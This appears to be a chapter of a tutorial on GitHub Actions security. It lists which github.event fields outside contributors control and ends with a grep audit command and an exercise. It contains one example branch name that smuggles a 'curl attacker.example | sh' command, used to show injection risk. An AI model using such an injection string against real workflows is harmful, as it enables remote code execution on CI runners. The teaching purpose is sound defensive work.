Sub topic 2
Which event data an attacker controls
This chapter assumes you can read a workflow file and know what events, jobs and steps are. You should also know how issues, pull requests and forks work. Later chapters cover how this data causes harm. Here the goal is to sort event data into "I control it" and "someone else controls it."
Why the question matters
A workflow runs when an event happens, and GitHub gives the job a github.event object that describes the event. Many of its fields are text typed by a person. If that person is an outside contributor, the text is attacker-controlled input. A workflow that treats it like its own configuration is trusting a stranger.
Fields an outside contributor can set
Anyone who can open an issue, open a pull request from a fork, or leave a comment can choose these values. The values below are free text, so they can contain quotes, backticks, semicolons and newlines.
| Context value | Who sets it |
|---|---|
| `github.event.issue.title` | Issue author |
| `github.event.issue.body` | Issue author |
| `github.event.pull_request.title` | PR author |
| `github.event.pull_request.body` | PR author |
| `github.event.comment.body` | Commenter |
| `github.event.review.body` | Reviewer |
| `github.event.pull_request.head.ref` | Branch name chosen by the PR author |
| `github.event.pull_request.head.label` | Fork owner and branch name |
| `github.event.pull_request.head.repo.default_branch` | Fork owner |
| `github.head_ref` | Source branch name of a PR |
| `github.event.commits[*].message` | Commit author |
| `github.event.head_commit.author.email` | Commit author |
| `github.event.head_commit.author.name` | Commit author |
Branch names deserve special attention. Git allows characters such as $, (, ), ;, ` ` and { in branch names. A branch called x";curl${IFS}attacker.example|sh;"` is a valid name, and anyone with a fork can create it.
Fields that are safer
Some values are generated by GitHub or limited in format. Examples are github.event.pull_request.number, github.run_id, github.sha and github.repository. A pull request number is an integer. A commit SHA is a hex string. Neither can carry shell syntax.
Be careful with "safer." Fields like github.actor and github.repository are restricted by GitHub's naming rules, but you should not build a habit of judging each field by memory. Treat any value that comes from a person as untrusted unless you have confirmed its format is limited.
Trust follows the author, not the field
The same field can be safe or unsafe depending on who can write it. A branch name created by a maintainer in your own repository is trusted. The same field on a fork pull request is not. The workflow file cannot tell the two apart by looking at the expression, so the rule has to be applied to the field name.
A quick way to audit
Search your workflows for expressions that reach into github.event or github.head_ref. This command lists them with line numbers.
grep -rnE '\$\{\{ *github\.(event|head_ref)' .github/workflowsFor each hit, ask who can write that field and whether the value ends up inside a run script or a script input. The next chapters explain why that placement is dangerous.
Exercise
A workflow triggered by pull_request uses ${{ github.event.pull_request.head.ref }} and ${{ github.event.pull_request.number }}. Which of the two is attacker-controlled, and why?
Show answer
The head.ref value is attacker-controlled because it is the branch name chosen by the PR author, and Git allows shell metacharacters in branch names. The pull request number is an integer assigned by GitHub, so it cannot carry shell syntax.